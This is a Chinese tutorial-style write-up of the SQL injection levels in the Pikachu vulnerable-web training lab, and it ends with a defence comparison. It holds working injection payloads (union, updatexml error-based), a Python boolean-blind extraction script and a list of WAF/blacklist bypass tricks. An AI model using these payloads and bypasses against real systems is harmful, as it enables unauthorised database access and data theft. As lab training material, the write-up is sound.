Pikachu靶场SQL注入实战:从基础到高级绕过技巧
1. Pikachu靶场SQL注入实战与解题笔记第一次接触Pikachu靶场是在去年的一次内部安全培训中这个以宝可梦命名的漏洞演练平台让我印象深刻。作为Web安全入门必备的实战环境Pikachu靶场通过精心设计的漏洞场景帮助学习者理解SQL注入的攻击原理和防御方法。今天我就结合自己通关SQL注入关卡的完整过程分享从基础注入到高级绕过的手记特别适合刚接触Web安全的新手参考。SQL注入SQL-Inject作为OWASP Top 10的常驻漏洞本质是将恶意SQL代码插入到输入参数中欺骗后端数据库执行非预期命令。在Pikachu靶场中开发者模拟了不同类型的注入场景包括GET/POST型注入、报错注入、布尔盲注和时间盲注等。通过这个靶场不仅能学习攻击手法更重要的是理解漏洞产生的根本原因为后续代码审计和漏洞修复打下基础。2. 环境准备与靶场搭建2.1 Pikachu靶场部署要点Pikachu靶场基于PHPMySQL架构推荐使用XAMPP或Docker快速部署。我选择在本地Windows环境通过XAMPP搭建从Pikachu官网下载最新release包当前版本v2.0解压到XAMPP的htdocs目录下访问http://localhost/pikachu-master完成初始化安装注意MySQL需要配置为5.5以上版本PHP建议7.x避免因版本兼容导致功能异常。安装后务必修改config.inc.php中的数据库连接信息。2.2 靶场目录结构解析了解靶场目录结构有助于后续漏洞分析/pikachu ├── /inc # 公共函数库 ├── /pkxss # XSS漏洞模块 ├── /pikachu # SQL注入模块核心 │ ├── /sqli # 注入关卡目录 │ │ ├── /1 # 基础注入 │ │ ├── /2 # 报错注入 │ │ └── ... # 其他类型 ├── /install # 安装脚本 └── /README.md # 说明文档3. SQL注入基础通关详解3.1 数字型注入关卡1访问/pikachu/sqli/1/这是一个简单的用户查询页面。通过URL参数id传递查询条件SELECT * FROM users WHERE id $_GET[id]攻击步骤测试基础注入1 and 11页面正常返回确认注入点1 and 12页面无数据获取字段数1 order by 4--测试到order by 3时报错说明共3列联合查询获取数据-1 union select 1,database(),user()--关键技巧使用--替代注释符兼容URL编码联合查询时前段条件置为负值或不存在值如-1information_schema库是MySQL的元数据库存储所有表结构信息3.2 字符型注入关卡2与数字型不同字符型注入需要处理引号闭合SELECT * FROM users WHERE username $_GET[name]Payload构造admin and 11-- # 测试注入 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--注意字符型注入必须闭合前端的引号否则会导致SQL语法错误。遇到过滤时可尝试编码绕过。4. 高级注入技巧实战4.1 报错注入利用当页面不返回查询数据但显示错误信息时可利用报错注入1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--Pikachu靶场中提供了floor报错、updatexml报错等多种场景。关键是要理解updatexml第二个参数需要符合XPath语法concat函数结合0x7e(~)产生非法字符触发报错extractvalue函数同样可利用4.2 布尔盲注自动化当页面只有存在/不存在两种状态时需要逐字符判断import requests url http://localhost/pikachu/sqli/3/ result for i in range(1,20): for j in range(32,127): payload f1 and ascii(substr(database(),{i},1)){j}-- r requests.get(url, params{id:payload}) if admin in r.text: result chr(j) print(result) break优化技巧使用二分查找法减少请求次数结合正则匹配提高判断准确率多线程加速爆破过程5. 防御方案与代码审计5.1 常见防御措施对比防御方式原理优缺点预处理语句SQL与参数分离最有效需改造代码输入过滤黑名单/白名单易被绕过WAF防护规则匹配拦截存在误判最小权限限制数据库账号权限需合理配置5.2 Pikachu靶场源码分析查看/pikachu/inc/function.php中的过滤函数function check_sql($str){ $filter [select,union,load_file,outfile]; foreach($filter as $v){ if(stripos($str,$v) ! false){ die(Hacker!); } } return $str; }这种过滤存在明显缺陷未处理大小写变种可用SeLeCt绕过未过滤注释符如-- /*可使用编码绕过如hex、char6. 实战中的疑难问题6.1 过滤绕过技巧记录等价替换and→or→||注释变形--→#→/*xxx*/函数替代substr→mid→left/right编码混淆0x61646d696eadmin的hex6.2 MySQL特性利用利用/**/替代空格绕过union/**/select反引号处理关键字select→se%0alect字符串拼接concat(ad,min)利用like进行模糊匹配7. 拓展学习建议完成Pikachu靶场后建议继续挑战DVWADamn Vulnerable Web ApplicationWebGoatOWASP官方靶场SQLi-Labs专注SQL注入对于想深入理解SQL注入原理的同学推荐阅读《SQL注入攻击与防御》和MySQL官方文档中关于预处理语句的章节。在实际渗透测试中sqlmap是自动化检测的神器但手动注入能力仍是安全工程师的基本功。

相关新闻

紧急预警:B站即将上线AI内容强制标注系统!倒计时14天,现在不掌握这3种“合规化输出范式”,账号将被降权限推

紧急预警:B站即将上线AI内容强制标注系统!倒计时14天,现在不掌握这3种“合规化输出范式”,账号将被降权限推

更多请点击: https://codechina.net 第一章:AI做B站UP主 当AI不再仅是视频的观看者,而是创作者、剪辑师、脚本写手与配音员时,B站UP主生态正悄然重构。一批基于大语言模型与多模态生成技术的AI UP主已成功通过平台实名认证&#…

2026/10/21 5:33:10 阅读更多 →
联邦学习中的“影子数据泄露”:新型侧信道攻击已攻破3款主流框架,紧急补丁+检测脚本限时开放下载

联邦学习中的“影子数据泄露”:新型侧信道攻击已攻破3款主流框架,紧急补丁+检测脚本限时开放下载

更多请点击: https://kaifayun.com 第一章:AI数据隐私保护 在人工智能模型训练与部署过程中,原始数据常包含敏感个人信息,如身份证号、医疗记录或生物特征。若未采取有效防护措施,模型可能通过成员推断、模型反演或训…

2026/10/18 7:48:05 阅读更多 →
从Brainfuck理解计算机底层原理:8个指令构建的编程世界

从Brainfuck理解计算机底层原理:8个指令构建的编程世界

1. 从“Hello, World!”到理解Brainfuck:为什么我们需要这门最极简的语言?如果你是一个对编程语言底层原理、编译器设计或者纯粹的计算理论感兴趣的开发者,那么Brainfuck这个名字你一定不陌生。它常常被冠以“最晦涩”、“最无用”、“最烧脑…

2026/10/20 22:31:09 阅读更多 →

最新新闻

Agent安全防护实战:ClawSec套件应对提示注入与数据泄露

Agent安全防护实战:ClawSec套件应对提示注入与数据泄露

上个月我去给一个智能客服项目做安全评估,测试环境里Agent被一条精心构造的对话绕过了系统约束,直接把后台提示词原样吐了出来。这种问题现在太常见了:提示注入、工具越权、敏感信息外带,正在成为所有Agent应用的集体焦虑。传统的…

2026/10/21 5:32:12 阅读更多 →
脉动阵列原理与Python仿真:从矩阵乘法到数据流硬件设计

脉动阵列原理与Python仿真:从矩阵乘法到数据流硬件设计

简介:这份Python演示项目面向对硬件加速器、脉动阵列架构感兴趣的开发者,通过软件模拟帮助理解TPU等芯片中矩阵乘法加速的核心原理。资源为zip压缩包,共2个文件,包含1个Python脚本(模拟脉动阵列的数据流与运算逻辑&…

2026/10/21 5:32:12 阅读更多 →
塑料瓶分类实战:基于ResNet50的图像分类迁移学习攻略

塑料瓶分类实战:基于ResNet50的图像分类迁移学习攻略

1. 塑料瓶精准分类:从垃圾回收痛点说起先聊个很多人没意识到的问题:塑料瓶回收一直是垃圾分类里最讨人嫌的一环。日常看到的那几个回收箱上,图案画的都是"塑料瓶",可真把瓶子收回来之后,怎么把它按材质、按用…

2026/10/21 5:32:12 阅读更多 →
OpenClaw数字助理驯化指南:从零搭建你的AI智能体工作流

OpenClaw数字助理驯化指南:从零搭建你的AI智能体工作流

1. 为什么叫“养龙虾”:OpenClaw到底是个什么东西前阵子圈子里有个梗被越传越开:OpenClaw,一个开源的AI数字助理框架,因为名字里那个“Claw”被大家念成“Crawfish”,再配上“Open”开头,一群人直接把“搭建…

2026/10/21 5:32:12 阅读更多 →
LoRA大模型微调实战:低秩适配原理与显存优化指南

LoRA大模型微调实战:低秩适配原理与显存优化指南

最近在折腾大模型微调,第一眼看到 LoRA 这个缩写的时候,我和大多数人一样,先想到的是"这会不会又是什么玄学优化技巧"。等我真正把原理读懂、代码跑通、模型训起来之后才发现,它解决的问题非常实在:如何在显…

2026/10/21 5:32:12 阅读更多 →
AI调度官真的能管好团队?从拆目标到团建的三周实测拆解

AI调度官真的能管好团队?从拆目标到团建的三周实测拆解

我一直对“让智能体管团队”这件事嗤之以鼻。市面上的AI工具我试过不少:有的能生成任务清单,有的会自动回复消息,可真让它去拆周目标、分派活、催进度、协调资源,它基本就成了一个“高级复读机”。开会、排期、团建这些事&#xf…

2026/10/21 5:31:11 阅读更多 →

日新闻

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

统一内存+量化:锐龙AI Max PRO 400如何本地跑320B大模型

这段时间硬件圈和AI圈都在传一个事:AMD锐龙AI Max PRO 400系列把最高192GB统一内存搬进了PC形态的产品里,按宣传口径,本地跑320B参数的大家伙不再是纸面概念。我第一反应倒不是“内存真大”,而是这话背后的含金量——它把过去只能…

2026/10/21 0:00:11 阅读更多 →
AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

AI助手深度使用体验:对话质量、长文本处理与指令遵循如何留住用户

1. 从“封号重开”这个行为说起:用户到底在追求什么“封号重开”这四个字,放在任何产品语境里都带着一股决绝的味道。一个账号从零开始积累使用记录、调教偏好、沉淀工作流,背后是大量的时间和精力成本。正常情况下,没有人愿意主动…

2026/10/21 0:00:11 阅读更多 →
ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

ROS中YOLOv3工程落地:通信同步、坐标变换与性能调优

1. 为什么在ROS里硬刚YOLOv3不是“炫技”,而是工程落地的必经之路我第一次在某高校机器人实验室看到那台搭载Jetson TX2的移动底盘原地打转、反复识别错垃圾桶时,就意识到:单纯跑通darknet_ros demo和真正让YOLOv3在ROS里“干活”&#xff0c…

2026/10/21 0:00:11 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/20 10:02:13 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/20 20:43:59 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/21 4:27:17 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 10:02:08 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:17 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:45 阅读更多 →